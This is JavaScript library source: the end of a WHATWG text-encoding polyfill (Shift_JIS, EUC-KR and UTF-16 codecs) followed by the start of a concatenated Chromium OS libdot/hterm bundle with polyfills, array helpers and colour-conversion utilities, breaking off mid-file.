// 5. If code point is in the range U+FF61 to U+FF9F, inclusive,
// return a byte whose value is code point − 0xFF61 + 0xA1.
if (inRange(code_point, 0xFF61, 0xFF9F))
return code_point - 0xFF61 + 0xA1;

// 6. If code point is U+2212, set it to U+FF0D.
if (code_point === 0x2212)
code_point = 0xFF0D;

// 7. Let pointer be the index Shift_JIS pointer for code point.
var pointer = indexShiftJISPointerFor(code_point);

// 8. If pointer is null, return error with code point.
if (pointer === null)
return encoderError(code_point);

// 9. Let lead be floor(pointer / 188).
var lead = floor(pointer / 188);

// 10. Let lead offset be 0x81, if lead is less than 0x1F, and
// 0xC1 otherwise.
var lead_offset = (lead < 0x1F) ? 0x81 : 0xC1;

// 11. Let trail be pointer % 188.
var trail = pointer % 188;

// 12. Let offset be 0x40, if trail is less than 0x3F, and 0x41
// otherwise.
var offset = (trail < 0x3F) ? 0x40 : 0x41;

// 13. Return two bytes whose values are lead + lead offset and
// trail + offset.
return [lead + lead_offset, trail + offset];
};
}

/** @param {{fatal: boolean}} options */
encoders['Shift_JIS'] = function(options) {
return new ShiftJISEncoder(options);
};
/** @param {{fatal: boolean}} options */
decoders['Shift_JIS'] = function(options) {
return new ShiftJISDecoder(options);
};

//
// 14. Legacy multi-byte Korean encodings
//

// 14.1 euc-kr

// 14.1.1 euc-kr decoder
/**
* @constructor
* @implements {Decoder}
* @param {{fatal: boolean}} options
*/
function EUCKRDecoder(options) {
var fatal = options.fatal;

// euc-kr's decoder has an associated euc-kr lead (initially 0x00).
var /** @type {number} */ euckr_lead = 0x00;
/**
* @param {Stream} stream The stream of bytes being decoded.
* @param {number} bite The next byte read from the stream.
* @return {?(number|!Array.<number>)} The next code point(s)
*     decoded, or null if not enough data exists in the input
*     stream to decode a complete code point.
*/
this.handler = function(stream, bite) {
// 1. If byte is end-of-stream and euc-kr lead is not 0x00, set
// euc-kr lead to 0x00 and return error.
if (bite === end_of_stream && euckr_lead !== 0) {
euckr_lead = 0x00;
return decoderError(fatal);
}

// 2. If byte is end-of-stream and euc-kr lead is 0x00, return
// finished.
if (bite === end_of_stream && euckr_lead === 0)
return finished;

// 3. If euc-kr lead is not 0x00, let lead be euc-kr lead, let
// pointer be null, set euc-kr lead to 0x00, and then run these
// substeps:
if (euckr_lead !== 0x00) {
var lead = euckr_lead;
var pointer = null;
euckr_lead = 0x00;

// 1. If byte is in the range 0x41 to 0xFE, inclusive, set
// pointer to (lead − 0x81) × 190 + (byte − 0x41).
if (inRange(bite, 0x41, 0xFE))
pointer = (lead - 0x81) * 190 + (bite - 0x41);

// 2. Let code point be null, if pointer is null, and the
// index code point for pointer in index euc-kr otherwise.
var code_point = (pointer === null)
? null : indexCodePointFor(pointer, index('euc-kr'));

// 3. If code point is null and byte is an ASCII byte, prepend
// byte to stream.
if (pointer === null && isASCIIByte(bite))
stream.prepend(bite);

// 4. If code point is null, return error.
if (code_point === null)
return decoderError(fatal);

// 5. Return a code point whose value is code point.
return code_point;
}

// 4. If byte is an ASCII byte, return a code point whose value
// is byte.
if (isASCIIByte(bite))
return bite;

// 5. If byte is in the range 0x81 to 0xFE, inclusive, set
// euc-kr lead to byte and return continue.
if (inRange(bite, 0x81, 0xFE)) {
euckr_lead = bite;
return null;
}

// 6. Return error.
return decoderError(fatal);
};
}

// 14.1.2 euc-kr encoder
/**
* @constructor
* @implements {Encoder}
* @param {{fatal: boolean}} options
*/
function EUCKREncoder(options) {
var fatal = options.fatal;
/**
* @param {Stream} stream Input stream.
* @param {number} code_point Next code point read from the stream.
* @return {(number|!Array.<number>)} Byte(s) to emit.
*/
this.handler = function(stream, code_point) {
// 1. If code point is end-of-stream, return finished.
if (code_point === end_of_stream)
return finished;

// 2. If code point is an ASCII code point, return a byte whose
// value is code point.
if (isASCIICodePoint(code_point))
return code_point;

// 3. Let pointer be the index pointer for code point in index
// euc-kr.
var pointer = indexPointerFor(code_point, index('euc-kr'));

// 4. If pointer is null, return error with code point.
if (pointer === null)
return encoderError(code_point);

// 5. Let lead be floor(pointer / 190) + 0x81.
var lead = floor(pointer / 190) + 0x81;

// 6. Let trail be pointer % 190 + 0x41.
var trail = (pointer % 190) + 0x41;

// 7. Return two bytes whose values are lead and trail.
return [lead, trail];
};
}

/** @param {{fatal: boolean}} options */
encoders['EUC-KR'] = function(options) {
return new EUCKREncoder(options);
};
/** @param {{fatal: boolean}} options */
decoders['EUC-KR'] = function(options) {
return new EUCKRDecoder(options);
};


//
// 15. Legacy miscellaneous encodings
//

// 15.1 replacement

// Not needed - API throws RangeError

// 15.2 Common infrastructure for utf-16be and utf-16le

/**
* @param {number} code_unit
* @param {boolean} utf16be
* @return {!Array.<number>} bytes
*/
function convertCodeUnitToBytes(code_unit, utf16be) {
// 1. Let byte1 be code unit >> 8.
var byte1 = code_unit >> 8;

// 2. Let byte2 be code unit & 0x00FF.
var byte2 = code_unit & 0x00FF;

// 3. Then return the bytes in order:
// utf-16be flag is set: byte1, then byte2.
if (utf16be)
return [byte1, byte2];
// utf-16be flag is unset: byte2, then byte1.
return [byte2, byte1];
}

// 15.2.1 shared utf-16 decoder
/**
* @constructor
* @implements {Decoder}
* @param {boolean} utf16_be True if big-endian, false if little-endian.
* @param {{fatal: boolean}} options
*/
function UTF16Decoder(utf16_be, options) {
var fatal = options.fatal;
var /** @type {?number} */ utf16_lead_byte = null,
/** @type {?number} */ utf16_lead_surrogate = null;
/**
* @param {Stream} stream The stream of bytes being decoded.
* @param {number} bite The next byte read from the stream.
* @return {?(number|!Array.<number>)} The next code point(s)
*     decoded, or null if not enough data exists in the input
*     stream to decode a complete code point.
*/
this.handler = function(stream, bite) {
// 1. If byte is end-of-stream and either utf-16 lead byte or
// utf-16 lead surrogate is not null, set utf-16 lead byte and
// utf-16 lead surrogate to null, and return error.
if (bite === end_of_stream && (utf16_lead_byte !== null ||
utf16_lead_surrogate !== null)) {
return decoderError(fatal);
}

// 2. If byte is end-of-stream and utf-16 lead byte and utf-16
// lead surrogate are null, return finished.
if (bite === end_of_stream && utf16_lead_byte === null &&
utf16_lead_surrogate === null) {
return finished;
}

// 3. If utf-16 lead byte is null, set utf-16 lead byte to byte
// and return continue.
if (utf16_lead_byte === null) {
utf16_lead_byte = bite;
return null;
}

// 4. Let code unit be the result of:
var code_unit;
if (utf16_be) {
// utf-16be decoder flag is set
//   (utf-16 lead byte << 8) + byte.
code_unit = (utf16_lead_byte << 8) + bite;
} else {
// utf-16be decoder flag is unset
//   (byte << 8) + utf-16 lead byte.
code_unit = (bite << 8) + utf16_lead_byte;
}
// Then set utf-16 lead byte to null.
utf16_lead_byte = null;

// 5. If utf-16 lead surrogate is not null, let lead surrogate
// be utf-16 lead surrogate, set utf-16 lead surrogate to null,
// and then run these substeps:
if (utf16_lead_surrogate !== null) {
var lead_surrogate = utf16_lead_surrogate;
utf16_lead_surrogate = null;

// 1. If code unit is in the range U+DC00 to U+DFFF,
// inclusive, return a code point whose value is 0x10000 +
// ((lead surrogate − 0xD800) << 10) + (code unit − 0xDC00).
if (inRange(code_unit, 0xDC00, 0xDFFF)) {
return 0x10000 + (lead_surrogate - 0xD800) * 0x400 +
(code_unit - 0xDC00);
}

// 2. Prepend the sequence resulting of converting code unit
// to bytes using utf-16be decoder flag to stream and return
// error.
stream.prepend(convertCodeUnitToBytes(code_unit, utf16_be));
return decoderError(fatal);
}

// 6. If code unit is in the range U+D800 to U+DBFF, inclusive,
// set utf-16 lead surrogate to code unit and return continue.
if (inRange(code_unit, 0xD800, 0xDBFF)) {
utf16_lead_surrogate = code_unit;
return null;
}

// 7. If code unit is in the range U+DC00 to U+DFFF, inclusive,
// return error.
if (inRange(code_unit, 0xDC00, 0xDFFF))
return decoderError(fatal);

// 8. Return code point code unit.
return code_unit;
};
}

// 15.2.2 shared utf-16 encoder
/**
* @constructor
* @implements {Encoder}
* @param {boolean} utf16_be True if big-endian, false if little-endian.
* @param {{fatal: boolean}} options
*/
function UTF16Encoder(utf16_be, options) {
var fatal = options.fatal;
/**
* @param {Stream} stream Input stream.
* @param {number} code_point Next code point read from the stream.
* @return {(number|!Array.<number>)} Byte(s) to emit.
*/
this.handler = function(stream, code_point) {
// 1. If code point is end-of-stream, return finished.
if (code_point === end_of_stream)
return finished;

// 2. If code point is in the range U+0000 to U+FFFF, inclusive,
// return the sequence resulting of converting code point to
// bytes using utf-16be encoder flag.
if (inRange(code_point, 0x0000, 0xFFFF))
return convertCodeUnitToBytes(code_point, utf16_be);

// 3. Let lead be ((code point − 0x10000) >> 10) + 0xD800,
// converted to bytes using utf-16be encoder flag.
var lead = convertCodeUnitToBytes(
((code_point - 0x10000) >> 10) + 0xD800, utf16_be);

// 4. Let trail be ((code point − 0x10000) & 0x3FF) + 0xDC00,
// converted to bytes using utf-16be encoder flag.
var trail = convertCodeUnitToBytes(
((code_point - 0x10000) & 0x3FF) + 0xDC00, utf16_be);

// 5. Return a byte sequence of lead followed by trail.
return lead.concat(trail);
};
}

// 15.3 utf-16be
// 15.3.1 utf-16be decoder
/** @param {{fatal: boolean}} options */
encoders['UTF-16BE'] = function(options) {
return new UTF16Encoder(true, options);
};
// 15.3.2 utf-16be encoder
/** @param {{fatal: boolean}} options */
decoders['UTF-16BE'] = function(options) {
return new UTF16Decoder(true, options);
};

// 15.4 utf-16le
// 15.4.1 utf-16le decoder
/** @param {{fatal: boolean}} options */
encoders['UTF-16LE'] = function(options) {
return new UTF16Encoder(false, options);
};
// 15.4.2 utf-16le encoder
/** @param {{fatal: boolean}} options */
decoders['UTF-16LE'] = function(options) {
return new UTF16Decoder(false, options);
};

// 15.5 x-user-defined

// 15.5.1 x-user-defined decoder
/**
* @constructor
* @implements {Decoder}
* @param {{fatal: boolean}} options
*/
function XUserDefinedDecoder(options) {
var fatal = options.fatal;
/**
* @param {Stream} stream The stream of bytes being decoded.
* @param {number} bite The next byte read from the stream.
* @return {?(number|!Array.<number>)} The next code point(s)
*     decoded, or null if not enough data exists in the input
*     stream to decode a complete code point.
*/
this.handler = function(stream, bite) {
// 1. If byte is end-of-stream, return finished.
if (bite === end_of_stream)
return finished;

// 2. If byte is an ASCII byte, return a code point whose value
// is byte.
if (isASCIIByte(bite))
return bite;

// 3. Return a code point whose value is 0xF780 + byte − 0x80.
return 0xF780 + bite - 0x80;
};
}

// 15.5.2 x-user-defined encoder
/**
* @constructor
* @implements {Encoder}
* @param {{fatal: boolean}} options
*/
function XUserDefinedEncoder(options) {
var fatal = options.fatal;
/**
* @param {Stream} stream Input stream.
* @param {number} code_point Next code point read from the stream.
* @return {(number|!Array.<number>)} Byte(s) to emit.
*/
this.handler = function(stream, code_point) {
// 1.If code point is end-of-stream, return finished.
if (code_point === end_of_stream)
return finished;

// 2. If code point is an ASCII code point, return a byte whose
// value is code point.
if (isASCIICodePoint(code_point))
return code_point;

// 3. If code point is in the range U+F780 to U+F7FF, inclusive,
// return a byte whose value is code point − 0xF780 + 0x80.
if (inRange(code_point, 0xF780, 0xF7FF))
return code_point - 0xF780 + 0x80;

// 4. Return error with code point.
return encoderError(code_point);
};
}

/** @param {{fatal: boolean}} options */
encoders['x-user-defined'] = function(options) {
return new XUserDefinedEncoder(options);
};
/** @param {{fatal: boolean}} options */
decoders['x-user-defined'] = function(options) {
return new XUserDefinedDecoder(options);
};

if (!global['TextEncoder'])
global['TextEncoder'] = TextEncoder;
if (!global['TextDecoder'])
global['TextDecoder'] = TextDecoder;

if (typeof module !== "undefined" && module.exports) {
module.exports = {
TextEncoder: global['TextEncoder'],
TextDecoder: global['TextDecoder'],
EncodingIndexes: global["encoding-indexes"]
};
}

// For strict environments where `this` inside the global scope
// is `undefined`, take a pure object instead
}(this || {}));$hterm\hterm_all.js\	{)// This file was generated by libdot/bin/concat.sh.
// It has been marked read-only for your safety.  Rather
// than edit it directly, please modify one of these source
// files...
//
// libdot/js/lib.js
// libdot/js/lib_polyfill.js
// libdot/js/lib_array.js
// libdot/js/lib_colors.js
// libdot/js/lib_f.js
// libdot/js/lib_message_manager.js
// libdot/js/lib_preference_manager.js
// libdot/js/lib_resource.js
// libdot/js/lib_storage.js
// libdot/js/lib_storage_chrome.js
// libdot/js/lib_storage_local.js
// libdot/js/lib_storage_memory.js
// libdot/js/lib_test_manager.js
// libdot/js/lib_utf8.js
// libdot/third_party/wcwidth/lib_wc.js
//
// SOURCE FILE: libdot/js/lib.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict'; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; if (typeof lib != 'undefined') throw new Error('Global "lib" object already exists.'); var lib = {};
if (!String.prototype.endsWith) {
String.prototype.endsWith = function (suffix) {
return this.indexOf(suffix, this.length - suffix.length) !== -1;
}
String.prototype.startsWith = function (prefix) {
return this.indexOf(prefix) == 0;
}
String.prototype.repeat = function (num) {
return new Array(num + 1).join(this);
}
}
/*! https://mths.be/codepointat v0.2.0 by @mathias */
if (!String.prototype.codePointAt) {
(function () {
'use strict'; // needed to support `apply`/`call` with `undefined`/`null`
var defineProperty = (function () {
// IE 8 only supports `Object.defineProperty` on DOM elements
try {
var object = {};
var $defineProperty = Object.defineProperty;
var result = $defineProperty(object, object, object) && $defineProperty;
} catch (error) { }
return result;
}());
var codePointAt = function (position) {
if (this == null) {
throw TypeError();
}
var string = String(this);
var size = string.length;
// `ToInteger`
var index = position ? Number(position) : 0;
if (index != index) { // better `isNaN`
index = 0;
}
// Account for out-of-bounds indices:
if (index < 0 || index >= size) {
return undefined;
}
// Get the first code unit
var first = string.charCodeAt(index);
var second;
if ( // check if it’s the start of a surrogate pair
first >= 0xD800 && first <= 0xDBFF && // high surrogate
size > index + 1 // there is a next code unit
) {
second = string.charCodeAt(index + 1);
if (second >= 0xDC00 && second <= 0xDFFF) { // low surrogate
// https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
return (first - 0xD800) * 0x400 + second - 0xDC00 + 0x10000;
}
}
return first;
};
if (defineProperty) {
defineProperty(String.prototype, 'codePointAt', {
'value': codePointAt,
'configurable': true,
'writable': true
});
} else {
String.prototype.codePointAt = codePointAt;
}
}());
}
if (typeof Object.assign != 'function') {
Object.assign = function (target, varArgs) { // .length of function is 2
'use strict';
if (target == null) { // TypeError if undefined or null
throw new TypeError('Cannot convert undefined or null to object');
}

var to = Object(target);

for (var index = 1; index < arguments.length; index++) {
var nextSource = arguments[index];

if (nextSource != null) { // Skip over if undefined or null
for (var nextKey in nextSource) {
// Avoid bugs when hasOwnProperty is shadowed
if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) {
to[nextKey] = nextSource[nextKey];
}
}
}
}
return to;
};
}
Number.isInteger = Number.isInteger || function (value) {
return typeof value === "number" &&
isFinite(value) &&
Math.floor(value) === value;
};
/**
* Map of "dependency" to ["source", ...].
*
* Each dependency is a object name, like "lib.fs", "source" is the url that
* depends on the object.
*/lib.runtimeDependencies_ = {};/**
* List of functions that need to be invoked during library initialization.
*
* Each element in the initCallbacks_ array is itself a two-element array.
* Element 0 is a short string describing the owner of the init routine, useful
* for debugging.  Element 1 is the callback function.
*/lib.initCallbacks_ = [];/**
* Records a runtime dependency.
*
* This can be useful when you want to express a run-time dependency at
* compile time.  It is not intended to be a full-fledged library system or
* dependency tracker.  It's just there to make it possible to debug the
* deps without running all the code.
*
* Object names are specified as strings.  For example...
*
*     lib.rtdep('lib.colors', 'lib.PreferenceManager');
*
* Object names need not be rooted by 'lib'.  You may use this to declare a
* dependency on any object.
*
* The client program may call lib.ensureRuntimeDependencies() at startup in
* order to ensure that all runtime dependencies have been met.
*
* @param {string} var_args One or more objects specified as strings.
*/lib.rtdep = function (var_args) {
var source; try { throw new Error(); } catch (ex) {
var stackArray = ex.stack.split('\n');// In Safari, the resulting stackArray will only have 2 elements and the
// individual strings are formatted differently.
if (stackArray.length >= 3) { source = stackArray[2].replace(/^\s*at\s+/, ''); } else { source = stackArray[1].replace(/^\s*global code@/, ''); }
} for (var i = 0; i < arguments.length; i++) { var path = arguments[i]; if (path instanceof Array) { lib.rtdep.apply(lib, path); } else { var ary = this.runtimeDependencies_[path]; if (!ary) ary = this.runtimeDependencies_[path] = []; ary.push(source); } }
};/**
* Ensures that all runtime dependencies are met, or an exception is thrown.
*
* Every unmet runtime dependency will be logged to the JS console.  If at
* least one dependency is unmet this will raise an exception.
*/lib.ensureRuntimeDependencies_ = function () {
var passed = true; for (var path in lib.runtimeDependencies_) {
var sourceList = lib.runtimeDependencies_[path]; var names = path.split('.');// In a document context 'window' is the global object.  In a worker it's
// called 'self'.
var obj = window || self; for (var i = 0; i < names.length; i++) { if (!(names[i] in obj)) { console.warn('Missing "' + path + '" is needed by', sourceList); passed = false; break; } obj = obj[names[i]]; }
} if (!passed) throw new Error('Failed runtime dependency check');
};/**
* Register an initialization function.
*
* The initialization functions are invoked in registration order when
* lib.init() is invoked.  Each function will receive a single parameter, which
* is a function to be invoked when it completes its part of the initialization.
*
* @param {string} name A short descriptive name of the init routine useful for
*     debugging.
* @param {function(function)} callback The initialization function to register.
* @return {function} The callback parameter.
*/lib.registerInit = function (name, callback) { lib.initCallbacks_.push([name, callback]); return callback; };/**
* Initialize the library.
*
* This will ensure that all registered runtime dependencies are met, and
* invoke any registered initialization functions.
*
* Initialization is asynchronous.  The library is not ready for use until
* the onInit function is invoked.
*
* @param {function()} onInit The function to invoke when initialization is
*     complete.
* @param {function(*)} opt_logFunction An optional function to send
*     initialization related log messages to.
*/lib.init = function (onInit, opt_logFunction) { var ary = lib.initCallbacks_; var initNext = function initNext() { if (ary.length) { var rec = ary.shift(); if (opt_logFunction) opt_logFunction('init: ' + rec[0]); rec[1](lib.f.alarm(initNext)); } else { onInit(); } }; if (typeof onInit != 'function') throw new Error('Missing or invalid argument: onInit'); lib.ensureRuntimeDependencies_(); setTimeout(initNext, 0); };// SOURCE FILE: libdot/js/lib_polyfill.js
// Copyright 2017 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* @fileoverview Polyfills for ES2016+ features we want to use.
*/// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/padStart
if (!String.prototype.padStart) {
String.prototype.padStart = function (targetLength, padString) {// If the string is already long enough, nothing to do!
targetLength -= this.length; if (targetLength <= 0) return String(this); if (padString === undefined) padString = ' ';// In case the pad is multiple chars long.
if (targetLength > padString.length) padString = padString.repeat(targetLength / padString.length + 1); return padString.slice(0, targetLength) + String(this);
};
}// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/padEnd
if (!String.prototype.padEnd) {
String.prototype.padEnd = function (targetLength, padString) {// If the string is already long enough, nothing to do!
targetLength -= this.length; if (targetLength <= 0) return String(this); if (padString === undefined) padString = ' ';// In case the pad is multiple chars long.
if (targetLength > padString.length) padString = padString.repeat(targetLength / padString.length + 1); return String(this) + padString.slice(0, targetLength);
};
}// https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_objects/Object/values
// https://github.com/tc39/proposal-object-values-entries/blob/master/polyfill.js
if (!Object.values || !Object.entries) { var reduce = Function.bind.call(Function.call, Array.prototype.reduce); var isEnumerable = Function.bind.call(Function.call, Object.prototype.propertyIsEnumerable); var concat = Function.bind.call(Function.call, Array.prototype.concat); if (!Object.values) { Object.values = function values(O) { return reduce(Reflect.ownKeys(O), function (v, k) { return concat(v, typeof k === 'string' && isEnumerable(O, k) ? [O[k]] : []); }, []); }; } if (!Object.entries) { Object.entries = function entries(O) { return reduce(Reflect.ownKeys(O), function (e, k) { return concat(e, typeof k === 'string' && isEnumerable(O, k) ? [[k, O[k]]] : []); }, []); }; } }// SOURCE FILE: libdot/js/lib_array.js
// Copyright 2017 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* @fileoverview Helper functions for (typed) arrays.
*/lib.array = {};/**
* Convert an array of four unsigned bytes into an unsigned 32-bit integer (big
* endian).
*
* @param {!Array.<!number>} array
* @returns {!number}
*/lib.array.arrayBigEndianToUint32 = function (array) {
var maybeSigned = array[0] << 24 | array[1] << 16 | array[2] << 8 | array[3] << 0;// Interpret the result of the bit operations as an unsigned integer.
return maybeSigned >>> 0;
};/**
* Convert an unsigned 32-bit integer into an array of four unsigned bytes (big
* endian).
*
* @param {!number} uint32
* @returns {!Array.<!number>}
*/lib.array.uint32ToArrayBigEndian = function (uint32) { return [uint32 >>> 24 & 0xFF, uint32 >>> 16 & 0xFF, uint32 >>> 8 & 0xFF, uint32 >>> 0 & 0xFF]; };/**
* Concatenate an arbitrary number of typed arrays of the same type into a new
* typed array of this type.
*
* @template TYPED_ARRAY
* @param {...!TYPED_ARRAY} arrays
* @returns {!TYPED_ARRAY}
*/lib.array.concatTyped = function () { var resultLength = 0; for (var _len = arguments.length, arrays = Array(_len), _key = 0; _key < _len; _key++) { arrays[_key] = arguments[_key]; } var _iteratorNormalCompletion = true; var _didIteratorError = false; var _iteratorError = undefined; try { for (var _iterator = arrays[Symbol.iterator](), _step; !(_iteratorNormalCompletion = (_step = _iterator.next()).done); _iteratorNormalCompletion = true) { var array = _step.value; resultLength += array.length; } } catch (err) { _didIteratorError = true; _iteratorError = err; } finally { try { if (!_iteratorNormalCompletion && _iterator.return) { _iterator.return(); } } finally { if (_didIteratorError) { throw _iteratorError; } } } var result = new arrays[0].constructor(resultLength); var pos = 0; var _iteratorNormalCompletion2 = true; var _didIteratorError2 = false; var _iteratorError2 = undefined; try { for (var _iterator2 = arrays[Symbol.iterator](), _step2; !(_iteratorNormalCompletion2 = (_step2 = _iterator2.next()).done); _iteratorNormalCompletion2 = true) { var _array = _step2.value; result.set(_array, pos); pos += _array.length; } } catch (err) { _didIteratorError2 = true; _iteratorError2 = err; } finally { try { if (!_iteratorNormalCompletion2 && _iterator2.return) { _iterator2.return(); } } finally { if (_didIteratorError2) { throw _iteratorError2; } } } return result; };/**
* Compare two array-like objects entrywise.
*
* @template ARRAY_LIKE
* @param {?ARRAY_LIKE} a
* @param {?ARRAY_LIKE} b
* @returns {!boolean} true if both arrays are null or they agree entrywise;
*     false otherwise.
*/lib.array.compare = function (a, b) { if (a === null || b === null) { return a === null && b === null; } if (a.length !== b.length) { return false; } for (var i = 0; i < a.length; i++) { if (a[i] !== b[i]) { return false; } } return true; };// SOURCE FILE: libdot/js/lib_colors.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* Namespace for color utilities.
*/lib.colors = {};/**
* First, some canned regular expressions we're going to use in this file.
*
*
*                              BRACE YOURSELF
*
*                                 ,~~~~.
*                                 |>_< ~~
*                                3`---'-/.
*                                3:::::\v\
*                               =o=:::::\,\
*                                | :::::\,,\
*
*                        THE REGULAR EXPRESSIONS
*                               ARE COMING.
*
* There's no way to break long RE literals in JavaScript.  Fix that why don't
* you?  Oh, and also there's no way to write a string that doesn't interpret
* escapes.
*
* Instead, we stoop to this .replace() trick.
*/lib.colors.re_ = {// CSS hex color, #RGB.
hex16: /#([a-f0-9])([a-f0-9])([a-f0-9])/i,// CSS hex color, #RRGGBB.
hex24: /#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})/i,// CSS rgb color, rgb(rrr,ggg,bbb).
rgb: new RegExp(('^/s*rgb/s*/(/s*(/d{1,3})/s*,/s*(/d{1,3})/s*,' + '/s*(/d{1,3})/s*/)/s*$').replace(/\//g, '\\'), 'i'),// CSS rgb color, rgb(rrr,ggg,bbb,aaa).
rgba: new RegExp(('^/s*rgba/s*' + '/(/s*(/d{1,3})/s*,/s*(/d{1,3})/s*,/s*(/d{1,3})/s*' + '(?:,/s*(/d+(?:/./d+)?)/s*)/)/s*$').replace(/\//g, '\\'), 'i'),// Either RGB or RGBA.
rgbx: new RegExp(('^/s*rgba?/s*' + '/(/s*(/d{1,3})/s*,/s*(/d{1,3})/s*,/s*(/d{1,3})/s*' + '(?:,/s*(/d+(?:/./d+)?)/s*)?/)/s*$').replace(/\//g, '\\'), 'i'),// An X11 "rgb:dddd/dddd/dddd" value.
x11rgb: /^\s*rgb:([a-f0-9]{1,4})\/([a-f0-9]{1,4})\/([a-f0-9]{1,4})\s*$/i,// English color name.
name: /[a-z][a-z0-9\s]+/
};/**
* Convert a CSS rgb(ddd,ddd,ddd) color value into an X11 color value.
*
* Other CSS color values are ignored to ensure sanitary data handling.
*
* Each 'ddd' component is a one byte value specified in decimal.
*
* @param {string} value The CSS color value to convert.
* @return {string} The X11 color value or null if the value could not be
*     converted.
*/lib.colors.rgbToX11 = function (value) { function scale(v) { v = (Math.min(v, 255) * 257).toString(16); return lib.f.zpad(v, 4); } var ary = value.match(lib.colors.re_.rgbx); if (!ary) return null; return 'rgb:' + scale(ary[1]) + '/' + scale(ary[2]) + '/' + scale(ary[3]); };/**
* Convert a legacy X11 colover value into an CSS rgb(...) color value.
*
* They take the form:
* 12 bit: #RGB          -> #R000G000B000
* 24 bit: #RRGGBB       -> #RR00GG00BB00
* 36 bit: #RRRGGGBBB    -> #RRR0GGG0BBB0
* 48 bit: #RRRRGGGGBBBB
* These are the most significant bits.
*
* Truncate values back down to 24 bit since that's all CSS supports.
*/lib.colors.x11HexToCSS = function (v) {
if (!v.startsWith('#')) return null;// Strip the leading # off.
v = v.substr(1);// Reject unknown sizes.
if ([3, 6, 9, 12].indexOf(v.length) == -1) return null;// Reject non-hex values.
if (v.match(/[^a-f0-9]/i)) return null;// Split the colors out.
var size = v.length / 3; var r = v.substr(0, size); var g = v.substr(size, size); var b = v.substr(size + size, size);// Normalize to 16 bits.
function norm16(v) {
v = parseInt(v, 16); return size == 2 ? v :// 16 bit
size == 1 ? v << 4 :// 8 bit
v >> 4 * (size - 2);// 24 or 32 bit
} return lib.colors.arrayToRGBA([r, g, b].map(norm16));
};/**
* Convert an X11 color value into an CSS rgb(...) color value.
*
* The X11 value may be an X11 color name, or an RGB value of the form
* rgb:hhhh/hhhh/hhhh.  If a component value is less than 4 digits it is
* padded out to 4, then scaled down to fit in a single byte.
*
* @param {string} value The X11 color value to convert.
* @return {string} The CSS color value or null if the value could not be
*     converted.
*/lib.colors.x11ToCSS = function (v) {
function scale(v) {// Pad out values with less than four digits.  This padding (probably)
// matches xterm.  It's difficult to say for sure since xterm seems to
// arrive at a padded value and then perform some combination of
// gamma correction, color space transformation, and quantization.
if (v.length == 1) {// Single digits pad out to four by repeating the character.  "f" becomes
// "ffff".  Scaling down a hex value of this pattern by 257 is the same
// as cutting off one byte.  We skip the middle step and just double
// the character.
return parseInt(v + v, 16);
} if (v.length == 2) {// Similar deal here.  X11 pads two digit values by repeating the
// byte (or scale up by 257).  Since we're going to scale it back
// down anyway, we can just return the original value.
return parseInt(v, 16);
} if (v.length == 3) {// Three digit values seem to be padded by repeating the final digit.
// e.g. 10f becomes 10ff.
v = v + v.substr(2);
}// Scale down the 2 byte value.
return Math.round(parseInt(v, 16) / 257);
} var ary = v.match(lib.colors.re_.x11rgb); if (!ary) {// Handle the legacy format.
if (v.startsWith('#')) return lib.colors.x11HexToCSS(v); else return lib.colors.nameToRGB(v);
} ary.splice(0, 1); return lib.colors.arrayToRGBA(ary.map(scale));
};/**
* Converts one or more CSS '#RRGGBB' color values into their rgb(...)
* form.
*
* Arrays are converted in place. If a value cannot be converted, it is
* replaced with null.
*
* @param {string|Array.<string>} A single RGB value or array of RGB values to
*     convert.
* @return {string|Array.<string>} The converted value or values.
*/lib.colors.hexToRGB = function (arg) { var hex16 = lib.colors.re_.hex16; var hex24 = lib.colors.re_.hex24; function convert(hex) { if (hex.length == 4) { hex = hex.replace(hex16, function (h, r, g, b) { return "#" + r + r + g + g + b + b; }); } var ary = hex.match(hex24); if (!ary) return null; return 'rgb(' + parseInt(ary[1], 16) + ', ' + parseInt(ary[2], 16) + ', ' + parseInt(ary[3], 16) + ')'; } if (arg instanceof Array) { for (var i = 0; i < arg.length; i++) { arg[i] = convert(arg[i]); } } else { arg = convert(arg); } return arg; };/**
* Converts one or more CSS rgb(...) forms into their '#RRGGBB' color values.
*
* If given an rgba(...) form, the alpha field is thrown away.
*
* Arrays are converted in place. If a value cannot be converted, it is
* replaced with null.
*
* @param {string|Array.<string>} A single rgb(...) value or array of rgb(...)
*     values to convert.
* @return {string|Array.<string>} The converted value or values.
*/lib.colors.rgbToHex = function (arg) { function convert(rgb) { var ary = lib.colors.crackRGB(rgb); if (!ary) return null; return '#' + lib.f.zpad((parseInt(ary[0]) << 16 | parseInt(ary[1]) << 8 | parseInt(ary[2]) << 0).toString(16), 6); } if (arg instanceof Array) { for (var i = 0; i < arg.length; i++) { arg[i] = convert(arg[i]); } } else { arg = convert(arg); } return arg; };/**
* Take any valid css color definition and turn it into an rgb or rgba value.
*
* Returns null if the value could not be normalized.
*/lib.colors.normalizeCSS = function (def) { if (def.startsWith('#')) return lib.colors.hexToRGB(def); if (lib.colors.re_.rgbx.test(def)) return def; return lib.colors.nameToRGB(def); };/**
* Convert a 3 or 4 element array into an rgba(...) string.
*/lib.colors.arrayToRGBA = function (ary) { var alpha = ary.length > 3 ? ary[3] : 1; return 'rgba(' + ary[0] + ', ' + ary[1] + ', ' + ary[2] + ', ' + alpha + ')'; };/**
* Overwrite the alpha channel of an rgb/rgba color.
*/lib.colors.setAlpha = function (rgb, alpha) { var ary = lib.colors.crackRGB(rgb); ary[3] = alpha; return lib.colors.arrayToRGBA(ary); };/**
* Mix a percentage of a tint color into a base color.
